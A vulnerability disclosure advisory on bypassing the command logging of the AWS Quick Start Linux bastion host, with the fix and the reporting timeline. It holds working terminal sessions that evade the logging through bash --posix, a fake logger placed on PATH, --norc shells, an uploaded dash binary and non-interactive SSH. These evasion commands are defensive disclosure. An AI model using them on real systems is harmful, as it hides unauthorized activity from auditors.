Amazon AWS Bastion - Logger Bypass

Aug 4 2020

The AWS bastion host (https://github.com/aws-quickstart/quickstart-linux-bastion) is intended to provide command logging for all users. These command logs are stored both on the bastion host itself, and forwarded to Cloudwatch. The command auditing implementation allowed a user to bypass the logging, execute an interactive shell and issue commands that were not captured by the AWS bastion’s logging mechanisms.

Date Released: 04/08/2020
Author: Denis Andzakovic
Project Website: https://github.com/aws-quickstart/quickstart-linux-bastion
Affected Software: Amazon AWS Bastion

AWS Bastion Logger Bypass

The core issue stemmed from the use of /etc/bashrc as a mechanism for enforcing command logging. The /etc/bashrc file set a read-only PROMPT_COMMAND environment variable which executed the logger command. Techniques to bypass this mechanism are detailed below. Note, this should not be considered a definitive list and further techniques to avoid the /etc/bashrc based command logging very likely exist.

Command Logger Design

The AWS bastion used the PROMPT_COMMAND environment variable, set as read-only in /etc/bashrc, as shown in the following figure:

...omitted for brevity...
#Added by Linux bastion bootstrap
declare -rx IP=$(echo $SSH_CLIENT | awk '{print $1}')
declare -rx BASTION_LOG=/var/log/bastion/bastion.log
declare -rx PROMPT_COMMAND='history -a >(logger -t "[ON]:$(date)   [FROM]:${IP}   [USER]:${USER}   [PWD]:${PWD}" -s 2>>${BASTION_LOG})

Additional security controls are enabled when a user elects to not enable TCP forwarding. This is provided by the harden_ssh_security method in bastion.bootstrap.sh. This prevents directly executing commands via SSH, however the remainder of the bypasses detailed below can still be used to disable the command logging by executing after initially logging in.

POSIX flag logger bypass

By specifying the --posix flag, an attacker could cause the PROMPT_COMMAND parsing to fail, as shown in the following figure:

$ ssh -i testkey.pem -l ec2-user 13.239.22.233 -t 'bash --posix'
bash: PROMPT_COMMAND: line 0: syntax error near unexpected token `('
bash: PROMPT_COMMAND: line 0: `history -a >(logger -t "[ON]:$(date) 
[FROM]:${IP}   [USER]:${USER}   [PWD]:${PWD}" -s 2>>${BASTION_LOG})'
bash-4.2$ unset PROMPT_COMMAND
bash-4.2$ env
XDG_SESSION_ID=21
SHELL=/bin/bash
TERM=xterm-256color
BASTION_LOG=/var/log/bastion/bastion.log
...omitted for brevity...

After causing the PROMPT_COMMAND to fail, the user’s commands are no longer logged.

PATH based logger bypass

An attacker could alter their path and specify a new logger command, resulting in commands no longer being logged. The following figure shows this technique:

[[email protected] ~]$ echo '' > logger
[[email protected] ~]$ chmod +x logger
[[email protected] ~]$ export PATH=$PWD:$PATH
[[email protected] ~]$ echo 'will this turn up in the bastion log?'
will this turn up in the bastion log?
[[email protected] ~]$ tail -5 /var/log/bastion/bastion.log 
<13>Jul 27 08:10:30 [ON]:Mon Jul 27 08:10:30 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: cat /var/log/bastion/bastion.log 
<13>Jul 27 08:10:47 [ON]:Mon Jul 27 08:10:47 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: tail -10 /var/log/bastion/bastion.log 
<13>Jul 27 08:10:59 [ON]:Mon Jul 27 08:10:59 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: ls
<13>Jul 27 08:11:05 [ON]:Mon Jul 27 08:11:05 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: echo '' > logger
<13>Jul 27 08:11:12 [ON]:Mon Jul 27 08:11:12 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: chmod +x logger
[[email protected] ~]$ 

Bash –norc Options

An attacker could spawn a bash instance that ignores the RC files and subsequently unset the PROMPT_COMMAND variable:

[[email protected] ~]$ unset PROMPT_COMMAND
-bash: unset: PROMPT_COMMAND: cannot unset: readonly variable
[[email protected] ~]$ bash --norc --noprofile
bash-4.2$ unset PROMPT_COMMAND
bash-4.2$ echo 'this should not turn up'
this should not turn up
bash-4.2$ tail -5 /var/log/bastion/bastion.log 
<13>Jul 27 08:25:41 [ON]:Mon Jul 27 08:25:41 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: env
<13>Jul 27 08:25:48 [ON]:Mon Jul 27 08:25:48 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: unset PROMPT_COMMAND
<13>Jul 27 08:25:56 [ON]:Mon Jul 27 08:25:56 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: env
<13>Jul 27 08:26:00 [ON]:Mon Jul 27 08:26:00 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: unset PROMPT_COMMAND
<13>Jul 27 08:26:19 [ON]:Mon Jul 27 08:26:19 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: env

Shell-upload bypass

By providing their own shell executable, an attacker may gain interactive access to the bastion without being logged. The following figure details this technique:

$ scp -i testkey.pem /usr/bin/dash [email protected]:/dev/shm/
dash                                                    100%  119KB 250.7KB/s   00:00    
$ ssh -i testkey.pem -l ec2-user 13.239.22.233 -t '/dev/shm/dash -i'
$ echo 'Dash testing....'
Dash testing....
$ tail -5 /var/log/bastion/bastion.log
<13>Jul 27 08:25:48 [ON]:Mon Jul 27 08:25:48 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: unset PROMPT_COMMAND
<13>Jul 27 08:25:56 [ON]:Mon Jul 27 08:25:56 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: env
<13>Jul 27 08:26:00 [ON]:Mon Jul 27 08:26:00 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: unset PROMPT_COMMAND
<13>Jul 27 08:26:19 [ON]:Mon Jul 27 08:26:19 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: env
<13>Jul 27 08:28:50 [ON]:Mon Jul 27 08:28:49 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: bash --norc --noprofile

SSH non-interactive shell bypass

Any command execution not performed via bash was not logged. For example, directly executing commands via SSH. The following figure shows a command executed via SSH and the resulting log which does not include the command:

$ ssh -i testkey.pem -l ec2-user 13.239.22.233 'echo "This is a command executed directly"'
This is a command executed directly
$ ssh -i testkey.pem -l ec2-user 13.239.22.233

       __|  __|_  )
       _|  (     /   Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[[email protected] ~]$ tail -10 /var/log/bastion/bastion.log 
<13>Jul 27 07:53:03 [ON]:Mon Jul 27 07:53:03 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: unset PROMPT_COMMAND
<13>Jul 27 08:04:09 [ON]:Mon Jul 27 08:04:09 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: cat /etc/bashrc 
<13>Jul 27 08:10:01 [ON]:Mon Jul 27 08:10:01 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: journalctl -f
<13>Jul 27 08:10:09 [ON]:Mon Jul 27 08:10:09 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: cat /var/log/bastion/bastion.log 
<13>Jul 27 08:10:16 [ON]:Mon Jul 27 08:10:16 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: ls -lrth /var/log/bastion/bastion.log 
<13>Jul 27 08:10:30 [ON]:Mon Jul 27 08:10:30 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: cat /var/log/bastion/bastion.log 
<13>Jul 27 08:10:47 [ON]:Mon Jul 27 08:10:47 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: tail -10 /var/log/bastion/bastion.log 
<13>Jul 27 08:10:59 [ON]:Mon Jul 27 08:10:59 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: ls
<13>Jul 27 08:11:05 [ON]:Mon Jul 27 08:11:05 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: echo '' > logger
<13>Jul 27 08:11:12 [ON]:Mon Jul 27 08:11:12 UTC 2020   [FROM]:103.106.65.246   [USER]:ec2-user   [PWD]:/home/ec2-user: chmod +x logger

This technique was mitigated in bastion instances that executed harden_ssh_security during install.

Resolution

These issues were resolved by using the Linux auditing framework to log all execve system calls. A bypass would now require an attacker to gain root level access to the bastion and disable the auditing rules.

Timeline

29/07/2020 - Issue reported to Amazon’s security team.
31/07/2020 - Changes merged to the master GitHub branch, moving the logging mechanism form /etc/bashrc to the Linux auditing framework.